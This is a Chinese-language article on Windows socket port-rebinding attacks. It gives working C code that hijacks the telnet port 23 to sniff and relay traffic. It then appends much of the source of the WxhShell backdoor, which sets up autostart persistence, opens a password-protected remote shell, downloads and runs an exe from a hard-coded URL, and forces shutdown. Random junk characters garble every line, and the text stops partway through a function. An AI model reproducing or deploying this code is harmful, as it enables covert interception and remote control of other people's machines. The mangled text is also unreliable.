在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
#Ki@=* s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
0
$r{h}[^c G{9y`; saddr.sin_family = AF_INET;
n1V*VQV 6I<`N saddr.sin_addr.s_addr = htonl(INADDR_ANY);
j(hC't- -u(#V#}OV? bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
/6fs h7 \ 4D5)<3N=d' 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
0!T $Ef K> U&jH 这意味着什么?意味着可以进行如下的攻击:
*%.*vPJ J=Z"sU= 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
01b0;| 7UiU3SUcg 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
F$v
G=3 7>TG
]& 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
8^~]Ym: +a{>jzR 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
+=QboUN Tu"](|I> 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
!{+(oDN rx<fjA% 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
P]G2gDO !|]%^G 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
kK(,FB '?nhpT^ #include
;C3]( #include
;iWCV&>w #include
'-et:Lv7 #include
6N^FJCs DWORD WINAPI ClientThread(LPVOID lpParam);
y}8j_r int main()
#Uo
9BM {
Yd9y8TqJ WORD wVersionRequested;
$Khc?v DWORD ret;
(_D#gr{S= WSADATA wsaData;
FRr<K^M BOOL val;
KpWQ;3D2 SOCKADDR_IN saddr;
aV1(DZ83 SOCKADDR_IN scaddr;
@uHNz-c int err;
Z^b1i`v SOCKET s;
#u>JCPz SOCKET sc;
y3lsAe# int caddsize;
#R &F HANDLE mt;
m$3&r2vgi DWORD tid;
\
FA7 +Q wVersionRequested = MAKEWORD( 2, 2 );
Vki3D'.7N err = WSAStartup( wVersionRequested, &wsaData );
H}d&>!\}F if ( err != 0 ) {
NVQIRQ. printf("error!WSAStartup failed!\n");
VE!h!`<k return -1;
lUDzfJ}3 }
3SDw-k saddr.sin_family = AF_INET;
,>)/ y zg|]Ic //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
1 #_R`(C{ |[0|j/V%O saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
B>Mk "WjQ saddr.sin_port = htons(23);
B?k75G if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
x.!%'{+{ {
v~j21` printf("error!socket failed!\n");
e4t'3So return -1;
(@]{=q< }
A+AqlM+$i val = TRUE;
rZ<@MV|d //SO_REUSEADDR选项就是可以实现端口重绑定的
TRa|}JaI" if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
wPOQy~: {
& GX
pRo printf("error!setsockopt failed!\n");
x5s Yo\ return -1;
:9.ik }
,_HVPE //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
XfharJ_b //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
y<MXd,eE //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
nF]lSg&]X =98@MX%P if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
+eQg+@u {
"??$yMW ret=GetLastError();
YjAwt;%-D printf("error!bind failed!\n");
w(0's' return -1;
ry0P\wY} }
J#"@~Q+a`@ listen(s,2);
7xqTTN6h while(1)
(X;D.s {
sSU p7V caddsize = sizeof(scaddr);
p{gJVP#l'Z //接受连接请求
n'>`2 s sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
qf#Ou if(sc!=INVALID_SOCKET)
_46
y {
=c:K(N qL mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
gm'8,ZL if(mt==NULL)
qX>mOW^gT8 {
3w6}%=)$8 printf("Thread Creat Failed!\n");
_XvSe]`f` break;
4-1=1)c* }
^z>3+oi }
e'Njl?>3 CloseHandle(mt);
9l<f?OzAO }
s|FfBG closesocket(s);
nB>C3e WSACleanup();
XnR9/t return 0;
<2^XKaS` }
p,0J $L DWORD WINAPI ClientThread(LPVOID lpParam)
iEjUo,
Y[ {
O1[`2kj^HB SOCKET ss = (SOCKET)lpParam;
ROb2g|YXG SOCKET sc;
hhRUC&Y%V unsigned char buf[4096];
P3Ocfpf Bp SOCKADDR_IN saddr;
;d5d$Np@m& long num;
PaIE=Q4gJ DWORD val;
Q0l[1;$# DWORD ret;
.d/e?H: //如果是隐藏端口应用的话,可以在此处加一些判断
},#@q_E //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
=r=?N\7I saddr.sin_family = AF_INET;
c{4Y?SSx saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
L{&5Ets saddr.sin_port = htons(23);
6)5Akyz4V if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
HX}9;O {
jxeZ,w o printf("error!socket failed!\n");
Ry_"so w4 return -1;
pT ]: TRPS }
5=@q!8a* val = 100;
Lgr(j60s if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
!I)wI~XF)5 {
zw,( kv ret = GetLastError();
\+,%RN. return -1;
"Zr+>a }
`!- w^~c if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
8>4@g!9E {
h=*eOxR"4^ ret = GetLastError();
<e)u8+( return -1;
+T!7jC(O
Q }
?xX9o if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
a I^Z0[P+ {
VelR8tjP printf("error!socket connect failed!\n");
>n(Ga9E closesocket(sc);
<?h,;]U closesocket(ss);
xZ84q'i" return -1;
n=_jmR1 }
iup "P while(1)
S:F8`Gh {
6O@/Y;5i //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
I
l2`c}9 //如果是嗅探内容的话,可以再此处进行内容分析和记录
QtSJ9;eP //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
aWg*f*2f num = recv(ss,buf,4096,0);
o W<Z8s;p if(num>0)
r
P1FM1"M send(sc,buf,num,0);
og$%`o:{ else if(num==0)
|K(jXZ) break;
<<vT"2Q] num = recv(sc,buf,4096,0);
CT2L }5L& if(num>0)
(6g;FD:"6 send(ss,buf,num,0);
8
o^ h\9I else if(num==0)
_DD.#YB</ break;
09_5niaz[ }
wbImE;-Z closesocket(ss);
~[*\YN); closesocket(sc);
7c8A|E0\mF return 0 ;
X6Wj,a }
f=,(0ygt/ n-)Xs;`2 ?7| 6jTIs ==========================================================
V7}3H2]^ LkK# =v 下边附上一个代码,,WXhSHELL
oY(q(W0ze HAca'!p ==========================================================
aK+jpi4? ZvVrbj& #include "stdafx.h"
Tm) (?y OL0W'C9oA #include <stdio.h>
:Sc"fG,g) #include <string.h>
#)7THx/= #include <windows.h>
|%HTBF #include <winsock2.h>
-1z<,IN+ #include <winsvc.h>
:*<UCn"" #include <urlmon.h>
l =`?Im "tX=^4 #pragma comment (lib, "Ws2_32.lib")
V'Z Z4og #pragma comment (lib, "urlmon.lib")
j~;kh_ ZNN^ #define MAX_USER 100 // 最大客户端连接数
xhTiOt6l #define BUF_SOCK 200 // sock buffer
a`t<R #define KEY_BUFF 255 // 输入 buffer
NpLO_- ,e93I6 #define REBOOT 0 // 重启
y}
W-OLE #define SHUTDOWN 1 // 关机
kuI%0)iZn GB&^<@ #define DEF_PORT 5000 // 监听端口
K.P1| +[_mSt #define REG_LEN 16 // 注册表键长度
^V;h>X| #define SVC_LEN 80 // NT服务名长度
XUK!1} -#agWqUM|T // 从dll定义API
x(r~<a[ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
Z!eW_""wp typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
H5J1j*P<d typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
0<4Nf]i typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
='z4bU vlSSw+r9 // wxhshell配置信息
,)beK*Iw struct WSCFG {
F15Yn int ws_port; // 监听端口
@;1Ym\zc char ws_passstr[REG_LEN]; // 口令
<>?7veN92 int ws_autoins; // 安装标记, 1=yes 0=no
kH|cB!?x char ws_regname[REG_LEN]; // 注册表键名
Z^_-LX:% char ws_svcname[REG_LEN]; // 服务名
*74VrAo char ws_svcdisp[SVC_LEN]; // 服务显示名
_7=LSf,9 char ws_svcdesc[SVC_LEN]; // 服务描述信息
?VRf5 Cr- char ws_passmsg[SVC_LEN]; // 密码输入提示信息
)/mBq#ZS int ws_downexe; // 下载执行标记, 1=yes 0=no
!QXPn}q^0 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
!Sj0! \ char ws_filenam[SVC_LEN]; // 下载后保存的文件名
s+a} _a: tmVGJ+gz };
[==x4Nb Bh0hUE // default Wxhshell configuration
.tQeOZW' struct WSCFG wscfg={DEF_PORT,
mR3-+dB/ "xuhuanlingzhe",
Q*K31Ln 1,
NO'37d "Wxhshell",
~|kSQ7O^ "Wxhshell",
HpGI\s "WxhShell Service",
efUa[XO "Wrsky Windows CmdShell Service",
=6H "Please Input Your Password: ",
NR9=V 1,
XN %tcaY "
http://www.wrsky.com/wxhshell.exe",
sn-P&"q "Wxhshell.exe"
!E.CpfaC };
2Sb68hJIE J*nWCL // 消息定义模块
;t\oM7J| char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
~/m=Q<cV char *msg_ws_prompt="\n\r? for help\n\r#>";
h*B7UzCg char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
a,`f`;\7N% char *msg_ws_ext="\n\rExit.";
2uT"LW/(H char *msg_ws_end="\n\rQuit.";
mO8E-D*3 char *msg_ws_boot="\n\rReboot...";
oUNuM%g9Dy char *msg_ws_poff="\n\rShutdown...";
rF\L}& Sw char *msg_ws_down="\n\rSave to ";
_/[}PQC6G \6L,jSoBl char *msg_ws_err="\n\rErr!";
d]r?mnN W char *msg_ws_ok="\n\rOK!";
0 P2lq HD!2|b~@ char ExeFile[MAX_PATH];
]@wKm1%v int nUser = 0;
L&LAh&%{2 HANDLE handles[MAX_USER];
5=hMTztf!! int OsIsNt;
H{U(Rt]K aNDpCpy SERVICE_STATUS serviceStatus;
/|LQ?n SERVICE_STATUS_HANDLE hServiceStatusHandle;
35 d:r: F XG,DJ: // 函数声明
Lc! t int Install(void);
H84Zg/ ^ int Uninstall(void);
!$pnE:K int DownloadFile(char *sURL, SOCKET wsh);
=HHtLW.|, int Boot(int flag);
x%`tWE| void HideProc(void);
:3A^5}iz int GetOsVer(void);
.Ge`)_e int Wxhshell(SOCKET wsl);
6(8zt"E void TalkWithClient(void *cs);
]Wg&r Y0 int CmdShell(SOCKET sock);
',m!L@7M5 int StartFromService(void);
g+%Pg@[ int StartWxhshell(LPSTR lpCmdLine);
pF<KhE*V ]=G dAW VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
p|n!R $_g\ VOID WINAPI NTServiceHandler( DWORD fdwControl );
ZfVw33z =z*SzG // 数据结构和表定义
o-+H- SERVICE_TABLE_ENTRY DispatchTable[] =
uFnq 3m^u {
<Gj]XAoe% {wscfg.ws_svcname, NTServiceMain},
"?S>}G\ {NULL, NULL}
[Wn6d: };
<tgfbY^nL 1k!$#1d< // 自我安装
D:0?u_[W int Install(void)
"Tnmn@ {
%@^9(xTE char svExeFile[MAX_PATH];
Nn{/_QG HKEY key;
DbrK,'b% strcpy(svExeFile,ExeFile);
<,</ Ge icN#8\E // 如果是win9x系统,修改注册表设为自启动
Yv"-_ if(!OsIsNt) {
g`I$U%a_2 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
4$^rzAi5 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
9 E2OCLWrE RegCloseKey(key);
.(Tf$V if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
^ 2LqKo\T RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
GzjC;+W RegCloseKey(key);
C]M{ return 0;
* TByAa{ }
IPk"{T3 }
5"z~BE7 }
,~>u<Wc!S else {
rnQ9uNAu UQO?hZ!y/. // 如果是NT以上系统,安装为系统服务
} QpyU% SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
7-MyiCt if (schSCManager!=0)
cB_3~=fV {
v-XB\|f SC_HANDLE schService = CreateService
%B(E;t63W (
\:>eZl? schSCManager,
Z&5cJk
W wscfg.ws_svcname,
# 66vkf* wscfg.ws_svcdisp,
k(dNHT SERVICE_ALL_ACCESS,
b X4]/4% SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
@!::_E+F] SERVICE_AUTO_START,
/Y8{? SERVICE_ERROR_NORMAL,
C8$/z>tQ svExeFile,
%:Y'+!bX NULL,
0RP{_1k NULL,
$o^N_`l NULL,
Gl3bkQ NULL,
SOeRQb' NULL
4_w{~ );
2YpJ4. if (schService!=0)
tNYCyw{K {
G`NGt_C CloseServiceHandle(schService);
YiC_,8A~ CloseServiceHandle(schSCManager);
02q*z>:^ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
X_#,5t=7 strcat(svExeFile,wscfg.ws_svcname);
0b+End#mp if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
E[tEW0ub RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
<v$yXA RegCloseKey(key);
>qci$ return 0;
^A$p)`KR }
wu19Pg?F }
=:Lc-y > CloseServiceHandle(schSCManager);
/^b=| +Do }
&u0on)E }
tV9 K5ON Df0m return 1;
B8 R&Q8Q }
=QW:},sp jT:kk // 自我卸载
RaAvPIJa | int Uninstall(void)
9P# <T7 {
v:u=.by99 HKEY key;
?#VkzT ;(;{~1~ if(!OsIsNt) {
LAv!s/ O$= if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
C%;J9(r RegDeleteValue(key,wscfg.ws_regname);
z>O =. Ku6 RegCloseKey(key);
Cm[^+.=I if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
crRYgr RegDeleteValue(key,wscfg.ws_regname);
j/w*2+&v RegCloseKey(key);
jfsbvak return 0;
xkmqf7w }
at5=Zo[bP }
H(ds }
Y1L7s H 9 else {
THz=_L6 Nx<%'-9)| SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
~\[\S!" if (schSCManager!=0)
Un{ 9reX5 {
H+Se SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
9vJ'9Z2\ if (schService!=0)
2JLXDkZ {
Oh/2$72 if(DeleteService(schService)!=0) {
8eZ^)9m CloseServiceHandle(schService);
SD=9fh0l CloseServiceHandle(schSCManager);
.eG_>2'1 return 0;
TZ]o6B b }
"D.`:9sk0 CloseServiceHandle(schService);
KcF#c_f
}
uz[5h0c CloseServiceHandle(schSCManager);
lb[\Lzdvmu }
h . R bdG }
xGo,x+U* kY]^~|i6 return 1;
ewp&QH4 }
ff.;6R\ Kf'oXCs // 从指定url下载文件
'I1^70bB int DownloadFile(char *sURL, SOCKET wsh)
0ZjinWkR[ {
TaE&8;H#N HRESULT hr;
ahqsbNu1 char seps[]= "/";
m{C char *token;
[+z*&~' char *file;
3ew`e"s char myURL[MAX_PATH];
DXc3u^
L char myFILE[MAX_PATH];
4/ M~# M_EXA _ strcpy(myURL,sURL);
<-K'9ut, token=strtok(myURL,seps);
P q)C(Z while(token!=NULL)
LFT)_DG7( {
1"P^!N file=token;
H3qM8_GUA token=strtok(NULL,seps);
Hv.nO-c }
Gs)2HR@> b$G&i'd GetCurrentDirectory(MAX_PATH,myFILE);
Y> f 6 strcat(myFILE, "\\");
Y76U htYH strcat(myFILE, file);
B|(M xR6m send(wsh,myFILE,strlen(myFILE),0);
i\z ,)xp send(wsh,"...",3,0);
QeZK&^W hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
?5MOp if(hr==S_OK)
S1oP_A[| return 0;
=&xNdc else
uf<nVdC. return 1;
J'no{3Ktz |ZuS"'3_w }
XlHt(d0h f hS4Gb_ // 系统电源模块
ilpP"B int Boot(int flag)
K|g+Wt^tQ {
7"0l>0 \ HANDLE hToken;
i$:QOMA TOKEN_PRIVILEGES tkp;
+ZK12D} F;;\I if(OsIsNt) {
)S2GPn7 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
.PJCBTe LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
k1)=xv#S tkp.PrivilegeCount = 1;
qH1&tW$ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
iR(jCD?) Y AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
p&|:,|jo5 if(flag==REBOOT) {
a-<&(jV if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
pNIu;1M5a return 0;
V$';B=M }
oe*Y(T\G else {
WY 'QhieH if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
6o4Bf| E] return 0;
wz{]CQ 7" }
o@!Uds0 }
+#a_Y else {
]= nM|e if(flag==REBOOT) {
ltH?Ew<] if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
#2qDn^s return 0;
o,yP9~8\ }
9p{7x[ C else {
|MQ_VZ{6 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
^<